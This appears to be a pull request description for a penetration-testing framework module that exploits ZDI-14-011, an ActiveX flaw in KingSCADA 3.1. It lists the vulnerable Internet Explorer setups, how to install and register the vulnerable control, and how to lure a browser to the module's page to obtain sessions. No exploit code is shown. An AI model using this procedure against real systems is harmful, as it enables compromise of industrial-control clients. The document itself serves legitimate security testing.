Add module for ZDI-14-011

Module for ZDI-14-011. Tested successfully on Windows XP SP3 / IE6 -IE8 or Windows7 IE8 with protection mode disabled :\ weird....

Verification Steps
---------

- [x] Download and install vulnerable http://www.kingview.com/en/downloads/Downloads/KingSCADA3.1.rar (at least is vulnerable at the time of writing, let me know if the things change and I can share installer)
- [x] register the vulnerable activex control, installed on ```C:\Program Files\KingSCADA\bin\ClientLib\libs``` with ```regsvr32 kxClientDownload.ocx```
- [x] Run the module like in the demo, visit the page pointed by the module, hopefully enjoy sessions. Remember to use a IE without Protected Mode, for example IE8 Windows XP SP3.
